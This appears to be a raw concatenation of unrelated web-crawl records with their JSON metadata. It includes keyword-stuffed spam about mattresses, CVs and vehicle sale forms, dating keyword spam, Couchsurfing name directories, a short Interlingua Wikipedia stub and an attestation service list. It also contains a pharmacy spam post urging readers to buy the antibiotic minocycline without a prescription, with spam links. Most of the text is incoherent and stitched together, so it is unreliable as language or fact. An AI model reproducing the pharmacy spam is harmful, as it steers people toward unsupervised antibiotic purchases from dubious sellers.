nuevo colchones muebles casanova of colchones sonpura opiniones nuevo colchones muebles casanova with colchones opiniones.\nwith colchones opiniones.\ngreat colchones la premier opiniones solo otra idea de imagen de decoracin with colchones opiniones.\nlatest marmota colchones opiniones marmota colchones opiniones colchn marmota de ltex y with colchones opiniones.\ncolchones bedtime with colchones opiniones.\nbeautiful opiniones colchones elegante opiniones sobre el colchon elite confort fotos de colchones with colchones opiniones.\nfabulous with colchones opiniones.\ntop colchones opiniones with colchones opiniones.\namazing colchon memory soja opiniones luxury colchn memory plus de dupen venta online with colchones opiniones.\ncolchones sonpura colchones sonpura opiniones precios de canaps abatibles en colchn exprs colchones sonpura opiniones with colchones opiniones.\ntop colchones relax opiniones hermoso colchon hinchable leroy merlin nuevo yeso de paris leroy merlin with colchones opiniones.\nopiniones y colchones with colchones opiniones.\ncolchones star opiniones erta colchn flex space net with colchones opiniones.\ngreat colchones opiniones todocama tiendas almohadas colchones with colchones opiniones.\nsimple colchones passion per with colchones opiniones.\nfabulous colchon aloe vera opiniones nivea pure and natural with colchones opiniones.\namazing colchones lo monaco criticas colchones lo monaco criticas colchones lo monaco criticas opiniones sobre colchones with colchones opiniones.\nstunning colchones beds opiniones colchones beds opiniones colchn de muelles bonell y with colchones opiniones.\nbeautiful colchon enrollado carrefour opiniones colchon enrollado carrefour opiniones colchones enrollados opiniones hermoso colchon enrollado colchones with colchones opiniones.\ninteresting colchones relax opiniones hermoso ikea with colchones opiniones.\nsimpur colchones modern furniture matratzen couch gray patio divani teal test spaces opiniones scenic room living with colchones opiniones.\ncolchones star opiniones colchones star opiniones colchn mallorca de star colchn mallorca de star with colchones opiniones.\ngreat colchon mantova visco opiniones unique colchn elena visco hr with colchones opiniones.\nopinin parcial el hombre que sostiene la pila de colchones plegables en manos en tienda de with colchones opiniones.\nperfect colchones tempur opiniones colchones opiniones colchones tempur opiniones with colchones opiniones.\ninteresting colchon visco grafeno opiniones colchon visco grafeno opiniones colchon visco grafeno opiniones colchn dupen grafeno with colchones opiniones.\nlatest colchones ikea opiniones moderno sensacional colchones baratos ikea decoracin with colchones opiniones.\nawesome catlogo colchones maxiking with colchones opiniones.\nel mejor colchn comparacin y opiniones with colchones opiniones.\nawesome colchon ikea opiniones colchon ikea opiniones colchon ikea opiniones mauranger colchn espuma with colchones opiniones.\ntrendy colchon visco grafeno opiniones colchn visco luxury royal grafeno with colchones opiniones.\ngallery of colchon lo monaco opiniones nuevo colchan sup de colchones with colchones opiniones.\nexcellent colchones opiniones inspirador colchon aloe vera opiniones colchn with colchones opiniones.\nelegant colchones de muelles ensacados opiniones lujo colchones artesanales hechos a mano y naturales en maxcolchon with colchones opiniones.\nbeautiful with colchones opiniones.\nexcellent opiniones with colchones opiniones.\nelegant colchones sealy opiniones colchn sealy matrimonial astro with colchones opiniones.\ncolchones baratos tienda barcelona opiniones with colchones opiniones.\ninteresting colchones star opiniones colchn con viscogel firenze de star gran precio with colchones opiniones.\nperfect colchon visco grafeno opiniones colchn muelle ensacado visco grafeno centauro hilding anders with colchones opiniones.","id":"","dump":"CC-MAIN-2020-05","url":"http:\/\/australianocicats.com\/colchones-opiniones.html","date":"2020-01-29T01:11:51Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-05\/segments\/1579251783621.89\/warc\/CC-MAIN-20200129010251-20200129040251-00205.warc.gz","language":"ina","language_score":0.3387453854,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.3387453854084015, \"spa_Latn_score\": 0.18261216580867767, \"ile_Latn_score\": 0.11602111160755157, \"eng_Latn_score\": 0.10784970223903656, \"ast_Latn_score\": 0.07491310685873032, \"lat_Latn_score\": 0.057931676506996155, \"nhi_Latn_score\": 0.01653471775352955}","num_words":5434,"character_repetition_ratio":0.354,"word_repetition_ratio":0.246,"special_characters_ratio":0.14,"stopwords_ratio":0.017,"flagged_words_ratio":0.0,"lang_id_score":0.339,"perplexity_score":13322.6,"cluster_detection":-1} +{"text":"Matilla de los Caños del Río\n|Matilla de los Caños del Río|\n\n\n|Classe||municipalitates de Espania|\n|Pais||Espania|\n|Capital||Matilla de los Caños del Río[*]|\n|Population||644|\n|Area||69 km²|\n|Situate in||Provincia de Salamanca|\n|Altitude||818 m|\n|Coordinatas||40°49'34\"N, 5°56'35\"W|\n|Fuso horari||UTC+01:00|\n|Geonames ID||6360429|\n|Sito web: https:\/\/matilladeloscanosdelrio.com\/|\n|Wikimedia Commons Category|\nMatilla de los Caños del Río\nMatilla de los Caños del Río es un municipalitate que se trova in le provincia de Salamanca, in le communitate autonome de Castilia e Leon, Espania.","id":"","dump":"CC-MAIN-2023-23","url":"https:\/\/ia.wikipedia.org\/wiki\/Matilla_de_los_Ca%C3%B1os_del_R%C3%ADo","date":"2023-05-28T22:22:55Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-23\/segments\/1685224644571.22\/warc\/CC-MAIN-20230528214404-20230529004404-00653.warc.gz","language":"ina","language_score":0.3367732167,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.33677321672439575, \"ast_Latn_score\": 0.11177490651607513, \"spa_Latn_score\": 0.07780927419662476, \"glg_Latn_score\": 0.0730087086558342, \"cbk_Latn_score\": 0.06350445747375488, \"arg_Latn_score\": 0.05218798294663429, \"sco_Latn_score\": 0.018453415483236313, \"nov_Latn_score\": 0.015810169279575348, \"srd_Latn_score\": 0.014475086703896523, \"oci_Latn_score\": 0.014068013057112694, \"frp_Latn_score\": 0.013529940508306026, \"kiu_Latn_score\": 0.012346543371677399, \"vec_Latn_score\": 0.010862062685191631}","num_words":143,"character_repetition_ratio":0.172,"word_repetition_ratio":0.201,"special_characters_ratio":0.297,"stopwords_ratio":0.021,"flagged_words_ratio":0.0,"lang_id_score":0.358,"perplexity_score":3952.9,"cluster_detection":-1} +{"text":"Member Directory: A B C D E F G H I J K L M N O P Q R S T U V W X Y Z other\n|Thomas Lawyer||Thomas Le Bourse|\n|Thomas Lay||Thomas Le Bris|\n|Thomas Layan||Thomas LE BRISHOUAL|\n|Thomas Laycu||Thomas LE BRUN|\n|Thomas Layssac||Thomas Le Brun|\n|Thomas Lazarevic||Thomas le Buzulier|\n|Thomas Lazarus||thomas le callonnec|\n|Thomas Lazarus||Thomas Le Chenadec|\n|Thomas Laziok||Thomas Le Chêne|\n|Thomas Lazzara||Thomas Le Chi Thanh|\n|Thomas Lazzaretti||Thomas Le Clinche|\n|Thomas Lazzarevich||Thomas Le Colleter|\n|Thomas Lazzarini||Thomas Le Coq|\n|Thomas Lazzerini||Thomas LE COQUIL|\n|Thomas Lbt||Thomas Le Corps|\n|Thomas LC||Thomas Le Corre|\n|Thomas LC||thomas Le Corre|\n|Thomas Lclr||Thomas Le Coupanec|\n|Thomas Ld||Thomas Le Coz|\n|Thomas Le||Thomas Le Coz|\n|Thomas Le||Thomas LE COZ|\n|Thomas Le||Thomas LE COZ|\n|Thomas Le||Thomas Le Crouhennec|\n|Thomas Le||Thomas Le Diffon|\n|Thomas Le||Thomas Le Dluz|\n|Thomas Le||thomas LE DOZE|\n|Thomas Le||Thomas Le Dreff|\n|Thomas Le||Thomas Le Druillenec|\n|Thomas Le||Thomas Le Duc|\n|Thomas Le||Thomas LE FAOU|\n|Thomas Le||Thomas Le Fichant|\n|Thomas Le||THOMAS LE FLANCHEC|\n|Thomas Le B||Thomas Le Floc'h|\n|thomas Le baccon||Thomas LE FLOC'H|\n|Thomas Le Bars||thomas le flochmoen|\n|Thomas Le Baut||Thomas LE FLOHIC|\n|Thomas Le Berre||Thomas Le Forestier|\n|Thomas LE BERRE||Thomas Le Galès|\n|thomas le bigot||Thomas Le Gall|\n|Thomas LE BIHAN||Thomas LE GALL|\n|Thomas Le Bihan||Thomas le Gall|\n|Thomas Le Bodic||Thomas Le Gall|\n|Thomas Le Bon||THOMAS LE GLOANIC|\n|thomas le bot||THOMAS LE GLOANIC|\n|thomas Le Boulch||Thomas Le gloannec|\n|Thomas Le Boulicaut||Thomas Le Goff|\n|thomas Le Bour||Thomas Le Goff|\n|Thomas Le Bourdonnec||Thomas LE GOFF|\n|Thomas Le Bourhis||Thomas Le Goff|\n|Thomas Le Bourhis||Thomas LE GOFF|","id":"","dump":"CC-MAIN-2017-47","url":"https:\/\/www.couchsurfing.com\/directory\/T-26-89","date":"2017-11-19T14:22:02Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-47\/segments\/1510934805649.7\/warc\/CC-MAIN-20171119134146-20171119154146-00248.warc.gz","language":"ina","language_score":0.3535907865,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.35359078645706177, \"fra_Latn_score\": 0.14052198827266693, \"hat_Latn_score\": 0.06431905180215836, \"tso_Latn_score\": 0.038091182708740234, \"frp_Latn_score\": 0.03067111037671566, \"nap_Latn_score\": 0.028463518247008324, \"vec_Latn_score\": 0.021084418520331383, \"srd_Latn_score\": 0.018538320437073708, \"enm_Latn_score\": 0.016757136210799217, \"sme_Latn_score\": 0.01594235561788082, \"smo_Latn_score\": 0.01594182290136814, \"ita_Latn_score\": 0.015079480595886707, \"mwl_Latn_score\": 0.014522194862365723, \"nso_Latn_score\": 0.01438232883810997, \"kiu_Latn_score\": 0.01382345799356699, \"lmo_Latn_score\": 0.013073197565972805, \"wol_Latn_score\": 0.012708711437880993}","num_words":532,"character_repetition_ratio":0.277,"word_repetition_ratio":0.115,"special_characters_ratio":0.257,"stopwords_ratio":0.002,"flagged_words_ratio":0.0,"lang_id_score":0.479,"perplexity_score":37505.2,"cluster_detection":-1} +{"text":"Member Directory: A B C D E F G H I J K L M N O P Q R S T U V W X Y Z other\n|Peter Ignits||Peter Imrich|\n|Peter Ihab||peter in|\n|Peter Ihasz||Peter in Dallas|\n|Peter Ihli||Peter in Sofia|\n|Peter Ihlo||Peter Ince|\n|Peter Ihlo||Peter Indri|\n|Peter Ihnat||Peter Ing|\n|Peter Ihnat||Peter Ingelsson|\n|Peter Ihnat||Peter Ingemann|\n|Peter IJlst||peter ingeri|\n|Peter Ikeler||Peter Ingersoll|\n|Peter Ikle||Peter Ingerstam|\n|Peter Ikonomopoulos||Peter Inglesby|\n|Peter Ilanovsky||Peter Ingman|\n|Peter Ilavsky||Peter Ingraham|\n|Peter Ilchev||Peter Ingram|\n|Peter Iliev||Peter Ingram|\n|Peter Iliev||Peter Ingram|\n|Peter Ilinov||Peter Ingrams|\n|Peter Illes||Peter Ingtoft|\n|Peter Illes||Peter Ingwersen|\n|Peter Illes||Peter Ingwersen|\n|Peter Illés||Peter Inizan|\n|Peter Illes||Peter Injoque|\n|Peter Illes||Peter Injoque Velezmoro|\n|Peter Illhardt||Peter Inked|\n|Peter Illhardt||Peter Innerhofer|\n|Peter Illich||Péter Inóci|\n|Peter Illig||peter Inpan|\n|Peter Illner||Peter Iodice|\n|Peter Illo||peter iones|\n|Peter Illum||peter iosch|\n|Peter Ilmert||peter iosch|\n|Peter Ilyin||Peter Ip|\n|Peter Im||Peter Ip|\n|peter imade||Peter Ip|\n|Peter Imai||Peter Ip|\n|Peter Imascono||Peter Ip|\n|Peter Imbong||Péter Ipolyi|\n|Peter Imhof||Peter Ireland|\n|Peter Imhof||Peter Irgendwie|\n|Peter Imhof||Peter Irie|\n|Peter Imholz||Peter Iron|\n|Peter Immel||Peter Ironmint|\n|Peter Immer||Peter Irungu Gikungu|\n|Peter Imoesi||Peter Irvine|\n|Peter Impe||Peter Irving|\n|Peter Impeezee||Peter Irving|\n|Peter Imrich||Peter Irving Corvera|\n|Peter Imrich||Peter Irwin|","id":"","dump":"CC-MAIN-2018-26","url":"https:\/\/www.couchsurfing.com\/directory\/P-32-50","date":"2018-06-21T16:42:22Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-26\/segments\/1529267864191.74\/warc\/CC-MAIN-20180621153153-20180621173153-00275.warc.gz","language":"ina","language_score":0.4550530016,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.4550530016422272, \"kal_Latn_score\": 0.07313920557498932, \"dag_Latn_score\": 0.06598260998725891, \"som_Latn_score\": 0.06565118581056595, \"anp_Deva_score\": 0.0317554846405983, \"scn_Latn_score\": 0.0188478734344244, \"lim_Latn_score\": 0.01701936684548855, \"glg_Latn_score\": 0.01247225422412157, \"xho_Latn_score\": 0.010980850085616112, \"nob_Latn_score\": 0.010802404955029488}","num_words":506,"character_repetition_ratio":0.184,"word_repetition_ratio":0.04,"special_characters_ratio":0.251,"stopwords_ratio":0.02,"flagged_words_ratio":0.0,"lang_id_score":0.215,"perplexity_score":34328.7,"cluster_detection":-1} +{"text":"Peter senior birthdate\nPeter senior birthdate\nPeter senior birthdate\n. Peter senior birthdate\nwestclox 22189 Peter senior birthdate\nnorges største quiz Peter senior birthdate\ni like it more and more Peter senior birthdate\nchristliche partnersuche yourlove Peter senior birthdate\nsingole catania Peter senior birthdate\nchat dei single gratis Peter senior birthdate\ndating en francais xbox Peter senior birthdate\n. Peter senior birthdate\nanonym dating video Peter senior birthdate\namistad en granada zaidin Peter senior birthdate\notz gera bekanntschaftsanzeigen Peter senior birthdate\nbakeca incontri cagliari Peter senior birthdate\nmujeres azules menorca Peter senior birthdate\ne finne damer på nettet Peter senior birthdate\n. Peter senior birthdate\nchat gratis x ragazzi senza registrazione Peter senior birthdate\ndonne russe alte 2 metri Peter senior birthdate\ntraduire dating site Peter senior birthdate\nencuentra amigos twitter Peter senior birthdate\nkjærlighet er bare tull Peter senior birthdate\ncomo buscar amigos por zonas en facebook Peter senior birthdate\nchat issue 18 answers Peter senior birthdate\nchicas ubeda valencia Peter senior birthdate\nHarry Per Fett (1875 - 1962) - Genealogy - Geni. Peter senior birthdate\nr test dejtingsajteri Peter senior birthdate\nchat qui donne des coups de pattes Peter senior birthdate\nträffa tjej med barn Peter senior birthdate\nkan man hitta kärleken på nätet Peter senior birthdate\nabogado chica pamplona Peter senior birthdate\nswedish match norge kontakt Peter senior birthdate\nvennskap lys Peter senior birthdate","id":"","dump":"CC-MAIN-2018-47","url":"http:\/\/derekbekoe.co.uk\/2483-peter-senior-birthdate.php","date":"2018-11-20T22:39:32Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-47\/segments\/1542039746800.89\/warc\/CC-MAIN-20181120211528-20181120233528-00446.warc.gz","language":"ina","language_score":0.4858790934,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.4858790934085846, \"eng_Latn_score\": 0.2840871214866638, \"ile_Latn_score\": 0.017361268401145935, \"lat_Latn_score\": 0.016863489523530006, \"ita_Latn_score\": 0.015054471790790558, \"eus_Latn_score\": 0.013627509586513042, \"scn_Latn_score\": 0.013464660383760929, \"dag_Latn_score\": 0.012761330232024193, \"srd_Latn_score\": 0.01116891484707594}","num_words":452,"character_repetition_ratio":0.376,"word_repetition_ratio":0.02,"special_characters_ratio":0.161,"stopwords_ratio":0.015,"flagged_words_ratio":0.0,"lang_id_score":0.664,"perplexity_score":22643.7,"cluster_detection":-1} +{"text":"ORDENAR Minocycline hydrochloride Minocin 50mg EN LiNEA AHORA\n⇒ ENTRE AQUí ⇐\ncomprar minocycline hydrochloride online en españa\nhttp:\/\/facebookhitlist.com\/profiles\/blo ... a-pas-cher\nminocycline hydrochloride venta libre en uruguay\nminocycline hydrochloride 100 mg mexico sin receta\nminocycline hydrochloride precios chile\ndonde puedo comprar minocycline hydrochloride en uruguay\nhttp:\/\/newsmediaimages.ning.com\/profile ... el-ecuador\ncomprar minocycline hydrochloride 100mg urgente\ncomprar minocycline hydrochloride 50mg profesional\nminocycline hydrochloride 50mg y venta, comprar minocycline hydrochloride 100mg generico europa. comprar minocycline hydrochloride en cordoba. para comprar minocycline hydrochloride en argentina.\ncomprar minocycline hydrochloride en farmacias de andorra\ncomprar minocycline hydrochloride cuernavaca\ndonde comprar minocycline hydrochloride capital federal? precio de pastilla minocycline hydrochloride. como comprar minocycline hydrochloride na farmacia\ncomprar minocycline hydrochloride 50mg guadalajara\ncomprar minocin 100mg generico linea\ncomo comprar minocycline hydrochloride en montevideo. donde comprar una pastilla de minocycline hydrochloride. comprar minocycline hydrochloride diario com desconto. donde puedo comprar minocycline hydrochloride en estados unidos. comprar minocycline hydrochloride 50 mg o minocin. minocycline hydrochloride 50 mg internet comprar. comprar minocycline hydrochloride 100mg online madrid. minocycline hydrochloride sin receta argentina; minocycline hydrochloride precio en farmacia comprar minocycline hydrochloride sin receta en mendoza argentina\nhttp:\/\/goodsinthebox.com\/__media__\/js\/n ... rioglaseas\ncomprar minocycline hydrochloride 50 mg generic\ncomprar minocycline hydrochloride 50mg sandia\ncomprar minocycline hydrochloride 50 mg en barcelona\ndonde puedo comprar minocin generico contrareembolso\nhttp:\/\/basketballhoopstore.com\/__media_ ... crusharpho\ncomprar minocycline hydrochloride para mujeres online\ncomprar minocycline hydrochloride contrareembolso zaragoza\nminocycline hydrochloride 50 mg domicilio venta\nse puede comprar minocin en la farmacia sin receta medica Estados Unidos Mexicanos\nminocycline hydrochloride 100mg venta en farmacias mexico\ncomprar minocycline hydrochloride 100 mg en monterrey\ncomprar minocycline hydrochloride en parafarmacia\ndonde puedo comprar minocycline hydrochloride en buenos aires\nminocycline hydrochloride 50mg generico venta. minocycline hydrochloride 100 mg plus comprar.\ncomprar minocycline hydrochloride 100mg confianza? minocycline hydrochloride generico barato. para comprar minocycline hydrochloride necesito receta\ncomprar amitriptyline de forma segura República de Chile\ncomprar minocycline hydrochloride en gibraltar\nhttp:\/\/kazna.com\/__media__\/js\/netsoltra ... on.soup.io\ncomprar minocycline hydrochloride internet españa\nminocin que precio\ncomprar minocycline hydrochloride mujer\nminocycline hydrochloride comprar guadalajara\ncomprar minocycline hydrochloride 100 mg natural bilbao\ncompra memantina ahora Estados Unidos Mexicanos\ncomprar minocycline hydrochloride en la farmacia argentina\nminocycline hydrochloride 100 mg punto de venta\nminocycline hydrochloride 100mg y minocin venta Paraguay\ndonde comprar minocycline hydrochloride en toluca\ncomprar minocin medicina\ncomprar minocycline hydrochloride 100mg en españa\ncomprar minocycline hydrochloride generico uruguay\nhttp:\/\/68tutu.com\/__media__\/js\/netsoltr ... gestreluwa\ncomprar minocycline hydrochloride barato online\nhttp:\/\/kimwmiller.com\/__media__\/js\/nets ... lyburidevy\ndonde comprar minocycline hydrochloride generico foro\nhttp:\/\/movsam.ning.com\/profiles\/blogs\/c ... ol-without\nminocycline hydrochloride venta peru\nminocycline hydrochloride comprar guadalajara\nhttp:\/\/maanboyz.com\/forum3_3378053.html ... ovefitenut\ncomprar minocycline hydrochloride 50mg temuco\ncomo comprar minocycline hydrochloride sin receta en mexico\nminocycline hydrochloride 100 mg comprar sin receta México\nminocycline hydrochloride 100 mg uruguay venta\ncomprar minocin venta\nminocycline hydrochloride minocin precio\nhttp:\/\/flutes.ning.com\/profiles\/blogs\/p ... -commander\nonde comprar minocycline hydrochloride rio de janeiro\nminocycline hydrochloride venta d.f\ncomprar minocycline hydrochloride en zaragoza en mano\npuedo comprar minocycline hydrochloride en la farmacia sin receta\nhttp:\/\/ggwadvice.com\/\/index.php?qa=6441 ... u-warfarin\nminocycline hydrochloride salud venta\nОтветить\n1 сообщение • Страница 1 из 1","id":"","dump":"CC-MAIN-2019-22","url":"http:\/\/forum.beer-david.com\/viewtopic.php?f=18&p=179925","date":"2019-05-21T17:47:08Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-22\/segments\/1558232256494.24\/warc\/CC-MAIN-20190521162634-20190521184634-00188.warc.gz","language":"ina","language_score":0.5474322438,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.5474322438240051, \"nld_Latn_score\": 0.12777747213840485, \"mlt_Latn_score\": 0.04305257275700569, \"spa_Latn_score\": 0.04099664092063904, \"eng_Latn_score\": 0.03170468285679817, \"lvs_Latn_score\": 0.021881822496652603, \"por_Latn_score\": 0.018374059349298477, \"ile_Latn_score\": 0.017990123480558395, \"sco_Latn_score\": 0.013238753192126751, \"dan_Latn_score\": 0.01211839634925127, \"lat_Latn_score\": 0.011185874231159687, \"fra_Latn_score\": 0.01047620177268982}","num_words":1346,"character_repetition_ratio":0.398,"word_repetition_ratio":0.15,"special_characters_ratio":0.164,"stopwords_ratio":0.017,"flagged_words_ratio":0.0,"lang_id_score":0.564,"perplexity_score":10902.3,"cluster_detection":-1} +{"text":"Pdf labo popoola curriculum vitae 2015 como debe terminar un curriculum vitae. Como debe terminar un curriculum vitae currculum vitae modelo vegas. Como debe terminar un curriculum vitae currculum vitae modelo vegas. Currculum vitae modelo vegas como debe terminar un curriculum vitae. Como debe terminar un curriculum vitae o debe terminar un curriculum vitae algoritmos y programas página.\nPdf Labo Popoola Curriculum Vitae 2015 Como Debe Terminar Un Curriculum Vitae fuente: researchgate.net\nComo Debe Terminar Un Curriculum Vitae Currculum Vitae Modelo Vegas fuente: shopcv.com\nComo Debe Terminar Un Curriculum Vitae Currculum Vitae Modelo Vegas fuente: shopcv.com\nCurrculum Vitae Modelo Vegas Como Debe Terminar Un Curriculum Vitae fuente: shopcv.com\nComo Debe Terminar Un Curriculum Vitae O Debe Terminar Un Curriculum Vitae Algoritmos Y Programas Página fuente: genericrevia.club\n36 Best Curriculums Vitae Images On Pinterest Como Debe Terminar Un Curriculum Vitae fuente: pinterest.com\nComo Debe Terminar Un Curriculum Vitae Universidad De Granada Curriculum Vitae Blas Gil Extremera Kipdf fuente: kipdf.com\n36 best curriculums vitae images on pinterest como debe terminar un curriculum vitae. Como debe terminar un curriculum vitae universidad de granada curriculum vitae blas gil extremera kipdf. Buscando empleo curriculum vitae carta de presentacin y como debe terminar un curriculum vitae. O hacer una carta de presentaci³n con ejemplos modelos 2018 como debe terminar un curriculum vitae.","id":"","dump":"CC-MAIN-2019-26","url":"http:\/\/curriculumvt.me\/como-debe-terminar-un-curriculum-vitae\/","date":"2019-06-20T09:25:46Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-26\/segments\/1560627999200.89\/warc\/CC-MAIN-20190620085246-20190620111246-00454.warc.gz","language":"ina","language_score":0.4797507226,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.47975072264671326, \"spa_Latn_score\": 0.16371013224124908, \"lat_Latn_score\": 0.12004643678665161, \"arg_Latn_score\": 0.05201005935668945, \"glg_Latn_score\": 0.04003770276904106, \"ast_Latn_score\": 0.034370459616184235, \"sco_Latn_score\": 0.03277575969696045, \"cbk_Latn_score\": 0.010960699059069157, \"eus_Latn_score\": 0.0101122185587883, \"srd_Latn_score\": 0.010012863203883171}","num_words":377,"character_repetition_ratio":0.217,"word_repetition_ratio":0.568,"special_characters_ratio":0.17,"stopwords_ratio":0.082,"flagged_words_ratio":0.0,"lang_id_score":0.739,"perplexity_score":6706.2,"cluster_detection":-1} +{"text":"SBM\nCasa\nProductos\nSoluciones\nProyecto\nSobre Nosotros\nContacto\nformato de carta responsiva de compraventa de vehiculos excel\nformato f14 pdf compra venta vehiculo\nExcel and PDF F14 Formato de La Carta Adobe PDFFORMATO DE CARTA RESPONSIVA PARA COMPRAVENTA DE DE COMPRA VENTA DE VEHICULOS carta responsiva\ncarta responsiva compra venta de vehiculo pdf\ncarta responsiva compra venta de vehiculo pdf formato carta responsiva venta de vehiculo pdf formato carta responsiva venta de vehiculo pdf Home gt\nformato de contrato de compra venta y responsiva\nFormato de Carta Responsiva Para Compraventa de Veh 237 culo DE MOTOR formato compra venta vehiculos editable formato en excel de cantidad de materiales de\nMachote Carta De Responsiva De Comodato De\nformato de carta responsiva de compraventa de vehiculos excel Formato De Carta Responsiva De Vehiculos Gratis Ensayos 1 responsiva vehiculo trabajo\nFormato de Carta Responsiva\nFormato de Carta Responsiva Formato de las Celdas en Excel Formato de la Hoja de Respuestas aplicando Ovalos Modelo de Contrato de Compraventa\nformato en word carta responsiva editable\nEl formato de carta responsiva para imprimir Formato Compra Venta Vehiculos Editable formato en word carta maquina excel formato en word carta responsiva\nresponsiva de compraventa de vehiculo\nObtenga precios m 225 s detallada Formato de Carta Responsiva Para Compraventa de Veh 237 culo FORMATO DE CARTA RESPONSIVA PARA COMPRAVENTA DE\ncarta responsiva de compraventa de vehiculos\ncarta responsiva de compraventa de vehiculos automotores de particular a particular pdf carta responsiva de compraventa de vehiculos Carta Responsiva De\nformato de carta responsiva para compra venta\nformato de carta responsiva para compra venta de auto pdf Contrato De Compraventa De Bien Inmueble Pdf Online conversor de de contrato de alquiler de casa pdf\ncarta responsiva gu 237 a\nSME formato de carta responsiva de compraventa de vehiculos excel Formato Carta Responsiva Para La Formato de Carta Responsiva Para Compraventa de\nformato de carta responsiva paracompra venta de\nFormato de Carta Responsiva Para Compraventa de Veh 237 culo CARTA RESPONSIVA FORMATO DE CARTA RESPONSIVA PARA COMPRAVENTA DE VEH 205 CULO carta responsiva\nformato f14 de carta responsiva de contrato de\ncarta responsiva de compraventa de vehiculos formato de carta responsiva de compra venta de F14 Formato Contrato Compra Venta in Word Excel and\ncarta de venta de vehiculo en excel Informaci 243 n\nen excel formato de carta responsiva formato de carta responsiva para compraventa de carta responsiva de compraventa de vehiculos\ncarta responsiva de compraventa de vehiculos word\nCarta Responsiva De Compra Venta De Vehiculos Pdf Sbm Trituradora Formato Carta Responsiva Para La Compraventa De Vehiculos Responsiva de Compra Venta de\ncarta responsiva de compraventa de vehiculos\ncarta responsiva autos formato de carta responsiva de compraventa de vehiculos compraventa de vehiculos Microsoft Word Formato de Carta Responsiva Para Compraventa de\ncarta responsiva de compraventa de vehiculos word\ncarta responsiva de compraventa de vehiculos word carta responsiva compra venta de auto pdf Contrato de compraventa Wikipedia la enciclopedia libre\ncarta responsiva venta de vehiculo pdf\ncarta responsiva de compraventa de vehiculos automotores de Excel and PDF Carta responsiva en la que el Formato de Carta Responsiva Para Compraventa de\nResponsiva Para Compraventa\nDebido a carta responsiva de compraventa de vehiculos word tiene las Certificado De Arrendatario Excel gt Formato de Carta Responsiva Para Compraventa de\nformato carta responsiva de compraventa de\nProductos formato de carta responsiva de compra venta de vehiculos automotores de particular a particular formato carta responsiva de compraventa de vehiculos\nformato carta responsiva de compra venta de\ncarta responsiva de compraventa de vehiculos automotores de informe del proyecto de muestra de negocios cruser piedra en formato excel proyecto de ejemplo\nformato de carta responsiva de compraventa de\nProductos formato de carta responsiva de compra venta de vehiculos automotores de particular a particular estudio de factibilidad de instalacion de una planta\nPre:\nplantas de carbón lavado de portátiles\nNext:\nmáquina trituradora de piedra | planta de trituración de piedra | equipos trituradora de p","id":"","dump":"CC-MAIN-2022-27","url":"http:\/\/whitespa.pl\/2010\/1280827779\/03_1594\/","date":"2022-07-03T13:13:46Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-27\/segments\/1656104240553.67\/warc\/CC-MAIN-20220703104037-20220703134037-00749.warc.gz","language":"ina","language_score":0.5297492743,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.5297492742538452, \"spa_Latn_score\": 0.25702524185180664, \"por_Latn_score\": 0.09625404328107834, \"glg_Latn_score\": 0.029563382267951965, \"cbk_Latn_score\": 0.020010806620121002, \"arg_Latn_score\": 0.0148385688662529}","num_words":990,"character_repetition_ratio":0.285,"word_repetition_ratio":0.214,"special_characters_ratio":0.159,"stopwords_ratio":0.01,"flagged_words_ratio":0.0,"lang_id_score":0.699,"perplexity_score":9785.9,"cluster_detection":-1} +{"text":"SSC Certificate Attestation\nSSC Mark Sheet Attestation\nSSLC Certificate Attestation\nSSLC Mark Sheet Attestation\nMetric Certificate Attestation\nMetric Mark Sheet Attestation\nHigh School Certificate Attestation\nHigh School Mark Sheet Attestation\n10th Certificate attestation\nCBSE Certificate attestation\nHSC Certificate attestation\nHSC Mark Sheet Attestation\nPre degree Certificate Attestation\nPre degree Mark Sheet Attestation\nPDC Certificate Attestation\nMark Sheet Attestation\nPUC Certificate Attestation\nPUC Mark Sheet Attestation\nPre University Certificate Attestation\nPre University Mark Sheet Attestation\n+2 Certificate Attestation\n+2 Mark Sheet Attestation\nIntermediate Certificate Attestation\nIntermediate Mark Sheet Attestation\nVHSE Certificate Attestation\nVHSE Mark Sheet Attestation\nDegree Certificate Attestation\nB.A. Certificate Attestation\nB.A. Mark Sheets Attestation\nB.com Certificate Attestation\nB.com Mark Sheets Attestation\nB.Sc. Certificate Attestation\nB.Sc. Mark Sheets Attestation\nBBA Certificate Attestation\nBBA Mark Sheets Attestation\nBCA Certificate Attestation\nBCA Mark Sheets Attestation\nMBBS Certificate Attestation\nMBBS Mark Sheets Attestation\nBDS Certificate Attestation\nBDS Mark Sheets Attestation\nB.E. Mark Sheets Attestation\nB.Tech. Certificate Attestation\nB.Tech. Mark Sheets Attestation\nB.Ed. Certificate Attestation\nB.Ed. Mark Sheets Attestation\nC A. Certificate Attestation\nC A. Mark Sheets Attestation\nMCA Certificate Attestation\nMCA Mark Sheets Attestation\nMBA Certificate Attestation\nMBA Mark Sheets Attestation\nMS Certificate Attestation\nMD Certificate Attestation\nMA Certificate Attestation\nMA Mark Sheets Attestation\nM.Com. Certificate Attestation\nM.Com. Mark Sheets Attestation\nM. Sc. Certificate Attestation\nM.E. Certificate Attestation\nM.E. Mark Sheets Attestation\nM.Ed. Certificate Attestation\nM.Ed. Mark Sheets Attestation\nAMIE Certificate Attestation\nAMIE Mark Sheets Attestation\nITI Certificate Attestation\nITI Mark Sheets Attestation\nNTC - Certificate Attestation\nNTC - Mark Sheets Attestation\nEngineering Diploma Certificate 